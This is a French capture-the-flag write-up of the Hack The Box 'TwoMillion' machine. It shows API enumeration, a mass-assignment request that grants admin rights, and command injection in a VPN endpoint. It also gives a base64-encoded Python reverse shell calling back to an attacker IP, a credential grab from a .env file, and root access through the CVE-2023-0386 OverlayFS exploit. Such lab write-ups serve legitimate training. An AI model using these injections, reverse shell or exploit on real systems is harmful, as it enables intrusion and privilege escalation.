 | | Machine name | OS | IP | Difficulty |
|---|
| TwoMillion | Linux | 10.10.11.221 | Easy |
|
Enumeration
nmap
1
2
3
| ┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -An -p- 10.10.11.221
Port 80 -> HTTP twomillion.htb
|
/etc/hosts
On ajoute les noms de domaines necessaire. Un peu plus tard on découvrira qu’il y a également le nom de domaine: data.analytical.htb
1
2
| ## ...
10.10.11.221 twomillion.htb
|
Invitation code - inviteapi
En utilisant Burp sur la page de login, on découvre un code javascript indiquant qu’un compte peut etre créer a l’aide d’un code d’Invitation
En y découvre un lien vers un code javascript:
http://2million.htb/js/inviteapi.min.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
|
Ce script contient du code obfusqué, qui indique qu’une requete POST est possible vers :
/api/v1/invite/how/to/generate
Pour génerer un code d’invitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| function verifyInviteCode(code) {
var formData = { "code": code };
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function (response) {
console.log(response);
},
error: function (response) {
console.log(response);
}
});
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function (response) {
console.log(response);
},
error: function (response) {
console.log(response);
}
});
}
|
On effectue donc cette requete :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| POST /api/v1/invite/how/to/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;kvl37ft06haubd9f1davp7407bq=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Origin: http://2million.htb
Connection: close
Referer: http://2million.htb/invite
Cookie: PHPSESSID=kvl37ft06haubd9f1davp7407b
code=<b>qsdqs</b>
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Dec 2024 23:44:09 GMT
Content-Type: application/json
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 249
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
|
On y découvre un code chiffré à l’aide de ROT13. Grace au site internet dcode.fr on déchiffre le message suivant :
1
| In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate
|
On effectue donc cette requête POST sur Burp:
1
2
3
4
5
6
7
8
| POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Connection: close
Cache-Control: max-age=0
|
Réponse:
1
2
3
4
5
6
7
8
9
10
11
12
| HTTP/1.1 200 OK
Server: nginx
Date: Sat, 07 Dec 2024 21:25:53 GMT
Content-Type: application/json
Connection: close
Set-Cookie: PHPSESSID=nvi1ir085vrvc1cuqq22gjoaot; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91
{"0":200,"success":1,"data":{"code":"SFE2OVUtMzE1Rk4tUTBUNU0tQko0NU8=","format":"encoded"}}
|
On nous envoie le code en base64, ce qui nous donne:
HQ69U-315FN-Q0T5M-BJ45O
On importe la fonction verifyInviteCode dans la console de firefox qui nous indique que le code est correct
On se rend sur la page 2million.htb/invite
On s’inscrit avec un compte -> hello@hello.hello : hello
admin
1
2
3
4
5
6
7
8
9
10
11
| GET /api/v1 HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=dn1g3q7kgl2jj3ondr1sda9gm9
Upgrade-Insecure-Requests: 1
Priority: u=0, i
|
1
2
3
4
5
6
7
8
9
10
11
| HTTP/1.1 200 OK
Server: nginx
Date: Sat, 07 Dec 2024 22:51:47 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800
{"v1":{"user":{"GET":{"\/api\/v1":"Route List","\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation","\/api\/v1\/invite\/generate":"Generate invite code","\/api\/v1\/invite\/verify":"Verify invite code","\/api\/v1\/user\/auth":"Check if user is authenticated","\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration","\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration","\/api\/v1\/user\/vpn\/download":"Download OVPN file"},"POST":{"\/api\/v1\/user\/register":"Register a new user","\/api\/v1\/user\/login":"Login with existing user"}},"admin":{"GET":{"\/api\/v1\/admin\/auth":"Check if user is admin"},"POST":{"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"},"PUT":{"\/api\/v1\/admin\/settings\/update":"Update user settings"}}}}
|
On envoie cette requete:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=jg018kgbajmc0pjtrdo4dv603a
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 52
{
"email" : "hello@hello.hello",
"is_admin" : 1
}
# REPONSE
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 07 Dec 2024 23:59:01 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 41
{"id":22,"username":"hello","is_admin":1}
|
On peut demander a générer un vpn pour un utilisateur. L’utilisateur est injectable, comme on peut voir avec la commande curl ici.
1
2
3
4
5
6
7
8
9
10
11
12
13
| curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Host: 2million.htb" \
-H "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
-H "Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json" \
-H "Connection: keep-alive" \
-H "Referer: http://2million.htb/home/access" \
-H "Cookie: PHPSESSID=jg018kgbajmc0pjtrdo4dv603a" \
-H "Upgrade-Insecure-Requests: 1" \
--data '{"username":"admin;whoami;"}'
www-data
|
Reverse Shell : www-data
1
2
3
4
5
6
7
8
9
10
11
12
| curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Host: 2million.htb" \
-H "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
-H "Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json" \
-H "Connection: keep-alive" \
-H "Referer: http://2million.htb/home/access" \
-H "Cookie: PHPSESSID=jg018kgbajmc0pjtrdo4dv603a" \
-H "Upgrade-Insecure-Requests: 1" \
--data '{"username":"admin;echo ZXhwb3J0IFJIT1NUPSIxMC4xMC4xNi41NSI7ZXhwb3J0IFJQT1JUPTkwMDE7cHl0aG9uMyAtYyAnaW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgob3MuZ2V0ZW52KCJSSE9TVCIpLGludChvcy5nZXRlbnYoIlJQT1JUIikpKSk7W29zLmR1cDIocy5maWxlbm8oKSxmZCkgZm9yIGZkIGluICgwLDEsMildO3B0eS5zcGF3bigic2giKSc= | base64 -d | sh;"}'
|
www-data -> admin
.env file : admin credentials
En observant les fichiers du site web depuis www-data on observe le fichier **index.php **qui semble recupérer des credentials depuis le fichier .env
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| $envFile = file('.env');
$envVariables = [];
foreach ($envFile as $line) {
$line = trim($line);
if (!empty($line) && strpos($line, '=') !== false) {
list($key, $value) = explode('=', $line, 2);
$key = trim($key);
$value = trim($value);
$envVariables[$key] = $value;
}
}
$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];
|
En affichant .env, on trouve les credentials admin:
1
2
3
4
5
| $ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
|
On se connecte en ssh a l’utilisateur admin:
1
2
3
4
5
| $ ssh admin@2million.htb
admin@2million:~$ ls
user.txt
admin@2million:~$ cat user.txt
1489.....d42e
|
Privilege Escalation
Mails : /var/mail/admin
Avec linpeas, on observe que admin a des mails à lire dans /var/mail/admin. Ce mail indique qu’une vulnérabilité du kernel linux “OverlayFS / FUSE” semble exploitable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
|
CVE-2023-0386 : Kernel Exploit
Sur internet, on trouve la CVE-2023-0386 avec un repo github
https://github.com/xkaneiki/CVE-2023-0386/tree/main
On execute l’exploit:
- dans un premier terminal on fait:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| $ make all
$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
mkdir: File exists
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
|
- Dans un deuxième terminal, on execute finalement un deuxième binaire pour obtenir les droits root:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Dec 8 12:53 .
drwxrwxr-x 6 root root 4096 Dec 8 12:52 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/t/linux/exploit/CVE-2023-0386# sudo su
root@2million:/tmp/t/linux/exploit/CVE-2023-0386# cd /root
root@2million:~# cat root.txt
7e64.....db13
|
CVE-2023-0386 : Explanation
A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.
Exploitation :
Un attaquant crée un environnement spécifique (par exemple, un container ou un espace utilisateur) pour exploiter une mauvaise gestion des droits dans OverlayFS et exécuter du code malveillant avec les privilèges root.